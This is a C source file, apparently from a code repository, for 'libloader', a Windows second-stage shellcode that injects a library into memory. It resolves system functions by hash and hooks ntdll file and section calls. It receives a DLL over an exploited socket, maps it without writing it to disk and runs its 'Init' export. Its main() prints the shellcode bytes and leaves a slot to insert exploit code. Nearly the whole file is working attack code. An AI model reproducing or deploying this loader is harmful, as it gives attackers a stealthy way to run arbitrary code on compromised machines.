787 lines
18 KiB
C
787 lines
18 KiB
C
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/*
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* libloader -- In-Memory Remote Library Injection shellcode
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* Jarkko Turkulainen <jt[at]klake.org>
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*
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* Platforms: Windows NT4/2000/XP/2003
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*
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* Compile: cl /GS- /Os libloader.c /link /fixed /release
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*
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*
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* How to use:
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*
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* See main() for example. To make this work in real-world exploit, you
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* must manually hack the exploit code. For quick demonstration, run
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* against the demo server "srv.exe".
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*
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* NOTE: the loaded library MUST export a function named "Init" !!!
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* That is the actual code you must write to make this stuff useful :-)
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* See example.c to get the idea.
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*
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*
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* TODO:
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*
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* - Hide the DLL from PEB
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*
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*
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* Credits:
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*
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* - skape for ideas, nologin, Metasploit
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*
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*
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*/
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#include <winsock2.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include "libloader.h"
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#pragma comment(lib, "ws2_32.lib")
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#pragma warning(disable: 4068)
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/*
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* 2nd stage loader
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*
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* loader2_start is a bootstrapper for the actual shellcode. It loads all the
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* libraries and resolves function VMAs. All information is stored in structure
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* SHELLCODE_CTX which acts like import and data section for rest of the program.
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*
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*/
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void loader2_start() {
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SHELLCODE_CTX ctx;
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char winsock[10];
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__asm {
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jmp callback ; Jump to callback address
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startup:
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jmp continue ; Continue execution
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callback:
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call startup ; Call startup
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continue:
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pop ebx ; Absolute address of continue
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sub ebx, 0x15 ; Adjust the address to point to
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; shellcode_start()
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; Note that this value is not
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; correct if the code above is modified
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; somehow (or if the compiler for some
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; reason generates different code..)
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mov ctx.offset, ebx ; Save offset
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mov ctx.sd, edi ; Save the file descriptor
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jmp resolve_vmas ; Skip general functions
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#include "generic.c"
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resolve_vmas:
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; kernel32.dll routines
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call find_kernel32 ; Find kernel32 base address
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mov ebx, eax ; Save the handle in ebx
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push HASH_LoadLibraryA ; Push function hash
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push ebx ; Push base handle
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call find_function ; Find function
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add esp, 8 ; Fix stack
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mov ctx.LoadLibrary, eax ; Save the VMA
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push HASH_GetProcAddress ; Here we go again..
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push ebx
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call find_function
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add esp, 8
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mov ctx.GetProcAddress, eax
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push HASH_ExitProcess
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push ebx
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call find_function
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add esp, 8
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mov ctx.ExitProcess, eax
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push HASH_VirtualAlloc
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push ebx
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call find_function
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add esp, 8
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mov ctx.VirtualAlloc, eax
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push HASH_VirtualFree
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push ebx
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call find_function
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add esp, 8
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mov ctx.VirtualFree, eax
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push HASH_VirtualQuery
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push ebx
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call find_function
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add esp, 8
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mov ctx.VirtualQuery, eax
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push HASH_VirtualProtect
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push ebx
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call find_function
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add esp, 8
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mov ctx.VirtualProtect, eax
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push HASH_FlushInstructionCache
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push ebx
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call find_function
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add esp, 8
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mov ctx.FlushInstructionCache, eax
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push HASH_WriteProcessMemory
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push ebx
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call find_function
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add esp, 8
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mov ctx.WriteProcessMemory, eax
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; ntdll.dll routines
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xor eax, eax
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mov al, 0x6c
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push eax ; Push "l\x00\x00\x00"
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push 0x6c64746e ; Push "ntdl"
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push esp ; Push address of "ntdll\x00\x00\x00"
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call ctx.LoadLibrary ; Get module handle
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mov ebx, eax ; Save the handle in ebx
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push HASH_NtOpenSection ; Push function hash
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push ebx ; Push base handle
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call find_function ; Find function
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add esp, 8 ; Fix stack
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mov ctx.NtOpenSection, eax ; Save function VMA
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push HASH_NtQueryAttributesFile ; Here we go again..
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push ebx
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call find_function
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add esp, 8
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mov ctx.NtQueryAttributesFile, eax
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push HASH_NtOpenFile
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push ebx
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call find_function
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add esp, 8
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mov ctx.NtOpenFile, eax
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push HASH_NtCreateSection
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push ebx
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call find_function
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add esp, 8
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mov ctx.NtCreateSection, eax
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push HASH_NtMapViewOfSection
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push ebx
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call find_function
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add esp, 8
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mov ctx.NtMapViewOfSection, eax
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}
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winsock[0] = 'w';
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winsock[1] = 's';
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winsock[2] = '2';
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winsock[3] = '_';
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winsock[4] = '3';
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winsock[5] = '2';
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winsock[6] = 0;
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ctx.LoadLibrary(winsock);
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__asm
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{
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mov edx, eax
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push HASH_recv
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push edx
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call find_function
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add esp, 8
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mov ctx.recv, eax
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}
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/* Now call the shellcode main function */
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loader2_main(&ctx);
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}
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/*
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* This is where the context pointer is saved.
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* It is (almost) static offset from find_ctx so it is easily determined at run-time.
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* To be exact, the offset is dependent of compiler version, but the compiler knows
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* relative offset between these functions. Using that information with the absolute
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* address of find_ctx, the context pointer can be found. See find_ctx().
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*
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*/
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int __declspec(naked) ctx_data() {
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__asm {
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_emit 0xff
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_emit 0xff
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_emit 0xff
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_emit 0xff
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}
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}
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/*
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* find_ctx is used for finding the shellcode context in memory. It is
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* mandatory step because the hook functions have no glue about the context
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* (they are called from ntdll.dll)
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* lea eax, dword ptr find_ctx ; Calculate relative offset
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lea edx, dword ptr ctx_data
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sub eax, edx
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*/
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int __declspec(naked) find_ctx() {
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__asm {
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push ebp
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mov ebp, esp
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call getaddress ; Get our address
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getaddress:
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pop ecx ; Save address in ebx
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sub ecx, 8 ; Adjust to point to find_ctx
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mov eax, offset find_ctx ; Calculate relative offset
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sub eax, offset ctx_data
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sub ecx, eax ; Adjust to point to ctx_data
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mov eax, [ecx] ; Return contents
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pop ebp
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ret
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}
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}
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/*
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* Find library name from given unicode string
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*
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*/
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int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str) {
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int i, j;
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for (i = 0; i < str->Length; i++) {
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for (j = 0; j < ctx->liblen; j++) {
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if (str->Buffer[i + j] != ctx->libname[j])
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break;
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}
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/* Match */
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if (j == ctx->liblen) {
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return 0;
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}
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}
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return 1;
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}
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/* NtOpenSection hook */
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NTSTATUS NTAPI m_NtOpenSection(
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PHANDLE SectionHandle,
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ACCESS_MASK DesiredAccess,
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POBJECT_ATTRIBUTES ObjectAttributes) {
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SHELLCODE_CTX *ctx;
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/* Find our context */
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ctx = (SHELLCODE_CTX *) find_ctx();
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if (!find_string(ctx, ObjectAttributes->ObjectName)) {
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*SectionHandle = (PHANDLE)ctx->mapped_address;
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return STATUS_SUCCESS;
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}
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return ctx->p_NtOpenSection(SectionHandle, DesiredAccess,
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ObjectAttributes);
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}
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/* NtQueryAttributesFile hook */
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NTSTATUS NTAPI m_NtQueryAttributesFile(
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POBJECT_ATTRIBUTES ObjectAttributes,
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PFILE_BASIC_INFORMATION FileAttributes) {
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SHELLCODE_CTX *ctx;
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/* Find our context */
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ctx = (SHELLCODE_CTX *) find_ctx();
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if (!find_string(ctx, ObjectAttributes->ObjectName)) {
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/*
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* struct PFILE_BASIC_INFORMATION must be actually filled
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* with something sane, otherwise it might break something.
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* The values are defined in libloader.h
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*
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*/
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FileAttributes->CreationTime.LowPart = LOW_TIME_1;
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FileAttributes->CreationTime.HighPart = HIGH_TIME;
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FileAttributes->LastAccessTime.LowPart = LOW_TIME_2;
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FileAttributes->LastAccessTime.HighPart = HIGH_TIME;
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FileAttributes->LastWriteTime.LowPart = LOW_TIME_1;
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FileAttributes->LastWriteTime.HighPart = HIGH_TIME;
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FileAttributes->ChangeTime.LowPart = LOW_TIME_1;
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FileAttributes->ChangeTime.HighPart = HIGH_TIME;
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FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL;
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return STATUS_SUCCESS;
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}
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return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes);
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}
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/* NtOpenFile hook */
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void NTAPI m_NtOpenFile(
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PHANDLE FileHandle,
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ACCESS_MASK DesiredAccess,
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POBJECT_ATTRIBUTES ObjectAttributes,
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PIO_STATUS_BLOCK IoStatusBlock,
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ULONG ShareAccess,
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ULONG OpenOptions) {
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SHELLCODE_CTX *ctx;
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/* Find our context */
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ctx = (SHELLCODE_CTX *) find_ctx();
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if (!find_string(ctx, ObjectAttributes->ObjectName)) {
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*FileHandle = (PVOID)ctx->mapped_address;
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return;
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}
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ctx->p_NtOpenFile(
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FileHandle,
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DesiredAccess,
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ObjectAttributes,
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IoStatusBlock,
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ShareAccess,
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OpenOptions);
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return;
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}
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/* NtCreateSection hook */
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NTSTATUS NTAPI m_NtCreateSection(
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PHANDLE SectionHandle,
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ULONG DesiredAccess,
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POBJECT_ATTRIBUTES ObjectAttributes,
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PLARGE_INTEGER MaximumSize,
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ULONG PageAttributes,
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ULONG SectionAttributes,
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HANDLE FileHandle) {
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SHELLCODE_CTX *ctx;
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/* Find our context */
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ctx = (SHELLCODE_CTX *)find_ctx();
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if (FileHandle == (HANDLE)ctx->mapped_address) {
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*SectionHandle = (PVOID)ctx->mapped_address;
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return STATUS_SUCCESS;
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}
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return ctx->p_NtCreateSection(
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SectionHandle,
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DesiredAccess,
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ObjectAttributes,
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MaximumSize,
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PageAttributes,
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SectionAttributes,
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FileHandle);
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}
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/* NtMapViewOfSection hook */
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NTSTATUS NTAPI m_NtMapViewOfSection(
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HANDLE SectionHandle,
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HANDLE ProcessHandle,
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PVOID *BaseAddress,
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ULONG ZeroBits,
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ULONG CommitSize,
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PLARGE_INTEGER SectionOffset,
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PULONG ViewSize,
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SECTION_INHERIT InheritDisposition,
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ULONG AllocationType,
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ULONG Protect) {
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SHELLCODE_CTX *ctx;
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/* Find our context */
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ctx = (SHELLCODE_CTX *)find_ctx();
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if (SectionHandle == (HANDLE)ctx->mapped_address) {
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*BaseAddress = (PVOID)ctx->mapped_address;
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/* We assume that the image must be relocated */
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return STATUS_IMAGE_NOT_AT_BASE;
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}
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return ctx->p_NtMapViewOfSection(
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SectionHandle,
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ProcessHandle,
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BaseAddress,
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ZeroBits,
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CommitSize,
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SectionOffset,
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ViewSize,
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InheritDisposition,
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AllocationType,
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Protect);
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}
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/* Patch given function */
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void patch_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub,
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unsigned char *hook) {
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DWORD protect;
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ULONG bytes, written;
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MEMORY_BASIC_INFORMATION mbi_thunk;
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/*
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* Most native NT functions begin with stub like this:
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*
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* 00000000 B82B000000 mov eax,0x2b ; syscall
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* 00000005 8D542404 lea edx,[esp+0x4] ; arguments
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* 00000009 CD2E int 0x2e ; interrupt
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*
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* In offset 0, the actual system call is saved in eax. Syscall
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* is 32 bit number (!) so we can assume 5 bytes of preamble size
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* for each function.. If there's need to hook other functions,
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* a complete disassembler is needed for preamble size counting.
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*
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*/
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bytes = 5;
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/* Create the stub */
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ctx->WriteProcessMemory((HANDLE)-1, stub, (char *)address,
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bytes, &written);
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*(PBYTE)(stub + bytes) = 0xE9;
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*(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5);
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/* Patch original function */
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/* Fix protection */
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ctx->VirtualQuery((char *)address, &mbi_thunk,
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sizeof(MEMORY_BASIC_INFORMATION));
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ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
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PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
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/* Insert jump */
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*(PBYTE)address = 0xE9;
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*(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5);
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/* Restore protection */
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ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
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mbi_thunk.Protect, &protect);
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ctx->FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,
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mbi_thunk.RegionSize);
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}
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/* Install hooks, fix addresses */
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void install_hooks(SHELLCODE_CTX *ctx) {
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/* NtMapViewOfSection */
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/* Patch */
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patch_function(ctx, ctx->NtMapViewOfSection,
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ctx->s_NtMapViewOfSection,
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(unsigned char *)((DWORD)m_NtMapViewOfSection -
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(DWORD)loader2_start) + ctx->offset);
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/* Copy pointer */
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ctx->p_NtMapViewOfSection =
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(f_NtMapViewOfSection)ctx->s_NtMapViewOfSection;
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/* NtQueryAttributesFile */
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patch_function(ctx, ctx->NtQueryAttributesFile,
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ctx->s_NtQueryAttributesFile,
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(unsigned char *)((DWORD)m_NtQueryAttributesFile -
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(DWORD)loader2_start) + ctx->offset);
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ctx->p_NtQueryAttributesFile =
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(f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile;
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/* NtOpenFile */
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patch_function(ctx, ctx->NtOpenFile, ctx->s_NtOpenFile,
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(unsigned char *)((DWORD)m_NtOpenFile -
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(DWORD)loader2_start) + ctx->offset);
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ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile;
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/* NtCreateSection */
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patch_function(ctx, ctx->NtCreateSection, ctx->s_NtCreateSection,
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(unsigned char *)((DWORD)m_NtCreateSection -
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(DWORD)loader2_start) + ctx->offset);
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ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection;
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/* NtOpenSection */
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patch_function(ctx, ctx->NtOpenSection, ctx->s_NtOpenSection,
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(unsigned char *)((DWORD)m_NtOpenSection -
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(DWORD)loader2_start) + ctx->offset);
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ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection;
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}
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/* Restore given function */
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void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub) {
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DWORD protect;
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ULONG bytes, written;
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MEMORY_BASIC_INFORMATION mbi_thunk;
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bytes = 5;
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/* Patch original function */
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/* Fix protection */
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ctx->VirtualQuery((char *)address, &mbi_thunk,
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sizeof(MEMORY_BASIC_INFORMATION));
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ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
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PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
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/* Copy bytes back to function */
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ctx->WriteProcessMemory((HANDLE)-1, (char *)address, stub,
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bytes, &written);
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/* Restore protection */
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ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
|
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mbi_thunk.Protect, &protect);
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ctx->FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,
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mbi_thunk.RegionSize);
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}
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/* Remove hooks */
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void remove_hooks(SHELLCODE_CTX *ctx) {
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/* NtMapViewOfSection */
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restore_function(ctx, ctx->NtMapViewOfSection,
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ctx->s_NtMapViewOfSection);
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/* NtQueryAttributesFile */
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restore_function(ctx, ctx->NtQueryAttributesFile,
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ctx->s_NtQueryAttributesFile);
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/* NtOpenFile */
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restore_function(ctx, ctx->NtOpenFile, ctx->s_NtOpenFile);
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/* NtCreateSection */
|
|
restore_function(ctx, ctx->NtCreateSection, ctx->s_NtCreateSection);
|
|
|
|
|
|
/* NtOpenSection */
|
|
restore_function(ctx, ctx->NtOpenSection, ctx->s_NtOpenSection);
|
|
|
|
|
|
}
|
|
|
|
/* Map file in memory as section */
|
|
|
|
void map_file(SHELLCODE_CTX *ctx) {
|
|
PIMAGE_NT_HEADERS nt;
|
|
PIMAGE_DOS_HEADER dos;
|
|
PIMAGE_SECTION_HEADER sect;
|
|
int i;
|
|
|
|
dos = (PIMAGE_DOS_HEADER)ctx->file_address;
|
|
nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew);
|
|
|
|
/*
|
|
* Allocate space for the mapping
|
|
* First, try to map the file at ImageBase
|
|
*
|
|
*/
|
|
ctx->mapped_address = (DWORD)ctx->VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase,
|
|
nt->OptionalHeader.SizeOfImage,
|
|
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
|
|
|
|
/* No success, let the system decide.. */
|
|
if (ctx->mapped_address == 0) {
|
|
ctx->mapped_address = (DWORD)ctx->VirtualAlloc((PVOID)NULL,
|
|
nt->OptionalHeader.SizeOfImage,
|
|
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
|
|
}
|
|
|
|
/* Write headers */
|
|
ctx->WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address,
|
|
(LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0);
|
|
|
|
/* Write sections */
|
|
sect = IMAGE_FIRST_SECTION(nt);
|
|
for (i = 0; i < nt->FileHeader.NumberOfSections; i++) {
|
|
ctx->WriteProcessMemory((HANDLE)-1,
|
|
(PCHAR)ctx->mapped_address + sect[i].VirtualAddress,
|
|
(PCHAR)ctx->file_address + sect[i].PointerToRawData,
|
|
sect[i].SizeOfRawData, 0);
|
|
}
|
|
|
|
}
|
|
|
|
|
|
/*
|
|
* loader2_main - shellcode main function
|
|
*
|
|
* Yes - written in C. Why?
|
|
*
|
|
* - It is 2nd stage, there is not need for optimizing
|
|
* - Writing complex programs in pure assembly takes time
|
|
* - C shellcode is extremely cool
|
|
* - I wanted to find out how it's done
|
|
* - Oh, I almost forgot, it's cool
|
|
*
|
|
*/
|
|
|
|
int loader2_main(SHELLCODE_CTX *ctx) {
|
|
SHELLCODE_CTX *saveCtx;
|
|
DWORD length, base, function, old;
|
|
char name[12];
|
|
int i, bytes, read, left;
|
|
|
|
// Our context needs to be executable since we store original functions preambles
|
|
// inline (which are executed).
|
|
ctx->VirtualProtect(
|
|
ctx,
|
|
sizeof(SHELLCODE_CTX),
|
|
PAGE_EXECUTE_READWRITE,
|
|
&old);
|
|
|
|
/* dll entry point */
|
|
name[0] = 'I';
|
|
name[1] = 'n';
|
|
name[2] = 'i';
|
|
name[3] = 't';
|
|
name[4] = '\0';
|
|
|
|
/* Read the first 4 bytes for file length */
|
|
bytes = ctx->recv(ctx->sd, (char *)&length, 4, 0);
|
|
if (bytes <= 0) {
|
|
ctx->ExitProcess(1);
|
|
}
|
|
|
|
/* Allocate space for data */
|
|
ctx->file_address = (DWORD)ctx->VirtualAlloc(NULL, length,
|
|
MEM_COMMIT, PAGE_READWRITE);
|
|
if (ctx->file_address == 0) {
|
|
ctx->ExitProcess(1);
|
|
}
|
|
|
|
/* Read file */
|
|
for (bytes = 0, read = 0, left = length; left > 0;
|
|
left -= bytes, read += bytes) {
|
|
bytes = ctx->recv(ctx->sd, (char *)(ctx->file_address + read),
|
|
left, 0);
|
|
if (bytes < 0) {
|
|
break;
|
|
}
|
|
}
|
|
|
|
/* Set the library name */
|
|
for (i = 0; *(char *)(ctx->file_address + i); i++)
|
|
ctx->libname[i] = *(char *)(ctx->file_address + i);
|
|
ctx->libname[i] = 0;
|
|
ctx->liblen = i;
|
|
|
|
/* Update the file address offset */
|
|
ctx->file_address += i + 1;
|
|
|
|
map_file(ctx);
|
|
|
|
/* Write context pointer */
|
|
*(DWORD *)(((DWORD)ctx_data - (DWORD)loader2_start) + ctx->offset) =
|
|
*(DWORD *)&ctx;
|
|
|
|
install_hooks(ctx);
|
|
|
|
if ((base = ctx->LoadLibrary(ctx->libname)) == 0) {
|
|
|
|
/* Something is terribly wrong.. */
|
|
ctx->ExitProcess(1);
|
|
}
|
|
|
|
remove_hooks(ctx);
|
|
|
|
/* Call entry point, if it exists */
|
|
if ((function = (DWORD)ctx->GetProcAddress((HMODULE)base,
|
|
(LPCTSTR)name)) != 0) {
|
|
|
|
((int(*)()) (function))(ctx->sd);
|
|
}
|
|
|
|
ctx->VirtualFree((LPVOID)((char *)ctx->file_address - ctx->liblen - 1),
|
|
0, MEM_RELEASE);
|
|
|
|
ctx->ExitProcess(0);
|
|
|
|
ctx = NULL;
|
|
|
|
/* Just to keep compiler happy */
|
|
return(0);
|
|
|
|
}
|
|
|
|
|
|
|
|
/* Just a stub for counting the shellcode size */
|
|
|
|
int __declspec(naked) loader2_end() {
|
|
__asm ret
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
* Simple program for demonstration with "srv.exe"
|
|
*
|
|
* Example: libloader 10.0.0.1 1111 example.dll
|
|
*
|
|
*/
|
|
|
|
int main(int argc, char **argv) {
|
|
int sd, c, i;
|
|
char *buf, databuf[1024];
|
|
struct hostent *hp;
|
|
struct sockaddr_in adr, local;
|
|
struct stat sstat;
|
|
FILE *fp;
|
|
WSADATA wsa_data;
|
|
unsigned char *start1, *end1, *start2, *end2;
|
|
unsigned long length1, length2;
|
|
|
|
|
|
start2 = (unsigned char *)loader2_start;
|
|
end2 = (unsigned char *)loader2_end;
|
|
length2 = end2 - start2;
|
|
|
|
/*
|
|
* XXXXXXXXXXXX Insert your exploit code here... XXXXXXXXXXX
|
|
*
|
|
* If this were a real world exploit, the actual exploit magic
|
|
* should be done at this point. As a proof-of-concept, we just
|
|
* send the 1st loader to host which jumps to code and executes
|
|
* it (assuming that there's the example server "srv.exe").
|
|
*
|
|
*/
|
|
|
|
|
|
fprintf(stderr, "total size is %lu\n", length2);
|
|
printf("\"");
|
|
for (i = 0; i < length2; i++)
|
|
{
|
|
printf("\\x%02x", start2[i] & 0xff);
|
|
|
|
if (i > 0 && i % 20 == 0)
|
|
printf("\" +\n\"");
|
|
}
|
|
printf("\"\n");
|
|
|
|
exit(0);
|
|
}
|
|
|